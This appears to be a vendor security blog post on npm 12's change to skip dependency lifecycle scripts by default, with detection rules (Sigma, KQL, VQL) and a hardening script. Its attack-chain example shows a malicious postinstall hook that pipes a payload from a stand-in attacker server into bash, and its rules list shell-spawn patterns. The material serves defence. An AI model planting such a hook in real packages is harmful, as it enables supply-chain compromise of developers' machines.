In 2026, the software supply chain remains the most significant attack surface for modern organizations. The recent announcement regarding NPM 12 marks a pivotal shift in the ecosystem’s default security posture. By changing the behavior of npm install to no longer execute scripts from dependencies by default, the Node.js package manager is effectively neutering one of the most reliable vectors for supply chain compromises: malicious lifecycle scripts.
For SOC analysts and DevSecOps engineers, this is not just a feature update; it is a necessary hardening measure that addresses years of abuse. Malicious actors have long relied on the implicit trust developers place in dependencies, slipping postinstall or preinstall scripts into package. files to execute arbitrary code—anything from cryptocurrency miners to data exfiltration payloads—the moment a developer runs a build. This post analyzes the technical implications of this change and provides the detection logic and remediation steps required to secure your build pipelines immediately.
Technical Analysis
Affected Platform: Node Package Manager (npm) Affected Version: npm v12.0.0 and later Attack Vector: Supply Chain Compromise via Malicious Lifecycle Scripts
The Vulnerability: Implicit Trust in Lifecycle Scripts
Historically, npm has executed specific scripts defined in a dependency’s package. automatically during the installation process. The most commonly abused scripts include:
preinstall: Runs before the package is installed.install/postinstall: Runs after the package is installed.prepublish: Runs before the package is published (and often during install).
From a defensive perspective, this behavior created a significant gap in validation. When a developer or a CI/CD pipeline runs npm install, it is essentially granting every dependency in the tree permission to execute shell commands on the host machine.
The Attack Chain (Pre-NPM 12)
-
Compromise: An attacker compromises a legitimate open-source library or publishes a typosquatted package.
-
Payload Insertion: The attacker adds a malicious
postinstallscript to thepackage.."scripts": { "postinstall": "curl -s http://attacker-controlled-server/payload.sh | bash" }
-
Execution: A victim runs
npm install. -
Compromise: npm automatically executes the shell command, leading to weaponization (reverse shell, credential theft).
The Fix: NPM 12 Default Behavior
Starting with npm 12, the default behavior is set to ignore these scripts. Unless a user explicitly enables them (e.g., via a flag or specific configuration), the installation of a package will strictly handle the file extraction and dependency resolution, halting the execution of arbitrary code contained within the package metadata.
This moves the ecosystem from an "allow-by-default" to a "deny-by-default" posture regarding code execution during installation.
Detection & Response
While upgrading to npm 12 is the primary remediation, defenders must detect legacy npm behavior or attempts to bypass these new controls in mixed-version environments. The following detection rules identify when npm spawns child shells—a high-fidelity indicator of a lifecycle script executing.
SIGMA Rules
---
title: NPM Dependency Spawning Shell - Potential Supply Chain Attack
id: 8a2b4c9d-1e3f-4a5b-8c6d-7e8f9a0b1c2d
status: experimental
description: Detects npm process spawning a shell (sh, bash, cmd, powershell), indicative of a lifecycle script execution.
references:
- https://securityweek.com/npm-12-will-change-script-execution-behavior-to-prevent-supply-chain-attacks/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.execution
- attack.t1059.004
- attack.t1059.001
logsource:
category: process_creation
product: windows
# Note: Adjust 'product' to 'linux' or 'macos' as needed for your environment
detection:
selection_parent:
ParentImage|endswith:
- '\npm.exe'
- '\npm.cmd'
- '/node'
- '/npm'
selection_child:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '/bin/sh'
- '/bin/bash'
condition: selection_parent and selection_child
falsepositives:
- Legitimate build scripts that require shell access (rare and should be audited)
level: high
---
title: NPM Install with Explicit Script Execution Override
id: 9b3c5d0e-2f4g-5b6c-9d7e-0f1a2b3c4d5e
status: experimental
description: Detects attempts to override npm script security defaults using --ignore-scripts=false.
references:
- https://securityweek.com/npm-12-will-change-script-execution-behavior-to-prevent-supply-chain-attacks/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.defense_evasion
- attack.t1070.006
logsource:
category: process_creation
product: multi
detection:
selection:
Image|endswith:
- '/npm'
- '\npm.exe'
CommandLine|contains:
- '--ignore-scripts=false'
- '--ignore-scripts false'
condition: selection
falsepositives:
- Administrators manually enabling scripts for trusted legacy builds
level: medium
KQL (Microsoft Sentinel / Defender)
// Hunt for npm processes spawning child shells on Linux/macOS (via Syslog/CEF) or Windows (DeviceProcessEvents)
DeviceProcessEvents
| where InitiatingProcessFileName in ('npm.exe', 'npm', 'node')
| where FileName in ('sh', 'bash', 'cmd.exe', 'powershell.exe')
| project Timestamp, DeviceName, InitiatingProcessCommandLine, FileName, CommandLine, AccountName
| extend Evidence = concat('Parent: ', InitiatingProcessCommandLine, ' Child: ', CommandLine)
| order by Timestamp desc
Velociraptor VQL
-- Hunt for running npm processes that are not version 12 and check for shell children
SELECT Pid, Name, Exe, CommandLine, Username
FROM pslist()
WHERE Name =~ 'npm'
AND NOT CommandLine =~ '--ignore-scripts'
-- Scope: Identify processes with potential script execution capabilities
Remediation Script (Bash)
This script audits the current npm version and enforces the ignore-scripts configuration for environments that have not yet upgraded to npm 12, or verifies the configuration for those that have.
#!/bin/bash
# NPM Hardening Audit and Remediation Script
# Target: Verify npm version and enforce script blocking
echo "[*] Checking NPM installation and version..."
if ! command -v npm &> /dev/null; then
echo "[!] NPM is not installed. Exiting."
exit 1
fi
NPM_VERSION=$(npm -v)
echo "[+] Current NPM Version: $NPM_VERSION"
# Extract major version
MAJOR_VERSION=$(echo $NPM_VERSION | cut -d. -f1)
if [ "$MAJOR_VERSION" -ge 12 ]; then
echo "[+] NPM 12 or higher detected. Default hardening should be active."
echo "[*] Verifying that ignore-scripts is not explicitly disabled in global config..."
IGNORE_STATUS=$(npm config get ignore-scripts)
if [ "$IGNORE_STATUS" == "false" ]; then
echo "[!] WARNING: ignore-scripts is set to FALSE globally. This is unsafe."
read -p "Do you want to set ignore-scripts to true? (y/n) " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
npm config set ignore-scripts true
echo "[+] ignore-scripts set to true."
fi
else
echo "[+] Configuration is secure (ignore-scripts is $IGNORE_STATUS or undefined)."
fi
else
echo "[!] NPM version is pre-12. Applying immediate remediation..."
echo "[*] Setting ignore-scripts to true to block lifecycle scripts..."
npm config set ignore-scripts true
echo "[+] Hardening applied. Scripts will not run during install."
echo "[!] Recommendation: Upgrade to NPM 12 at the earliest opportunity."
fi
echo "[*] Audit complete."
Remediation
- Upgrade to NPM 12: The most effective remediation is to upgrade the npm client to version 12 or later. This changes the default behavior of
npm installto ignore scripts automatically. bash
npm install -g npm@12
-
Verify
.npmrcConfiguration: Ensure your global and project-specific.npmrcfiles are not inadvertently overriding security defaults. The following configuration explicitly blocks scripts: ini ignore-scripts=true -
Audit
package.: Review thescriptssection of your own application'spackage.. Ensure that you are not relying on dependency scripts for build processes. If you are, you must explicitly invoke those scripts or migrate the logic into your own build tooling (e.g., webpack, gulp, or directly in yourpackage.scripts section referencing local binaries). -
Update CI/CD Pipelines: Automated build systems often cache dependencies or run npm as a service user. Verify that CI/CD pipelines function correctly with
ignore-scripts=trueenabled. Expect failures if your build relied on a dependency's postinstall script to fetch binaries or generate assets. These must be replaced with deterministic, secure alternatives. -
Developer Awareness: Inform development teams that
npm installis now safer by default, butnpm runwill still execute scripts defined in the rootpackage.. The restriction applies specifically to scripts defined in dependencies.
Related Resources
Security Arsenal Healthcare Cybersecurity AlertMonitor Platform Book a SOC Assessment healthcare Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.